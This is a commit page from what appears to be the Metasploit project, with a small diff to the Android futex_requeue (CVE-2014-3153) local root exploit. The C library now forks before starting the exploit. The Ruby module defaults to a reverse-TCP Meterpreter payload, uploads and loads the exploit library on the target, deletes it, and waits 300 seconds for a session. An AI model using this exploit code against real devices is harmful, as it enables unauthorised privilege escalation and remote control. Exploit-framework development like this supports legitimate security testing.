Skip to content

Commit 25a8283

Browse files
committed
fork early and use WfsDelay
1 parent f1efa76 commit 25a8283

File tree

2 files changed

+8
-14
lines changed

2 files changed

+8
-14
lines changed

external/source/exploits/CVE-2014-3153/main.c

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -51,8 +51,10 @@ JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
5151
return -1;
5252
}
5353

54-
init_exploit();
55-
54+
int pid = fork();
55+
if (pid == 0) {
56+
init_exploit();
57+
}
5658
return JNI_VERSION_1_4;
5759
}
5860

modules/exploits/android/local/futex_requeue.rb

Lines changed: 4 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -34,11 +34,11 @@ def initialize(info={})
3434
],
3535
'DisclosureDate' => "May 03 2014",
3636
'SessionTypes' => [ 'meterpreter' ],
37-
"Platform" => [ "android", "linux" ],
37+
'Platform' => [ "android", "linux" ],
3838
'Payload' => { 'Space' => 2048, },
39-
"Arch" => ARCH_ARMLE,
4039
'DefaultOptions' =>
4140
{
41+
'WfsDelay' => 300,
4242
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
4343
},
4444
'DefaultTarget' => 0,
@@ -88,10 +88,6 @@ def initialize(info={})
8888
]
8989
}
9090
))
91-
register_options(
92-
[
93-
OptInt.new("ListenerTimeout", [ true, "The maximum number of seconds to wait for a session", 300])
94-
], self.class)
9591
end
9692

9793
def exploit
@@ -162,20 +158,16 @@ def exploit
162158
write_file(remote_file, exploit_data)
163159

164160
print_status("Loading exploit library #{remote_file}")
165-
old_timeout = session.response_timeout
166-
print_status("Be patient, this exploit will automatically timeout after #{datastore['ListenerTimeout']} seconds")
167-
session.response_timeout = datastore['ListenerTimeout']
168161
session.core.load_library(
169162
'LibraryFilePath' => local_file,
170163
'TargetFilePath' => remote_file,
171164
'UploadLibrary' => false,
172165
'Extension' => false,
173166
'SaveToDisk' => false
174167
)
175-
session.response_timeout = old_timeout
176-
print_status("Loaded library #{remote_file}")
168+
print_status("Loaded library #{remote_file}, deleting")
177169
session.fs.file.rm(remote_file)
178-
print_status("Library #{remote_file} was deleted")
170+
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
179171
end
180172
end
181173

0 commit comments

Comments
 (0)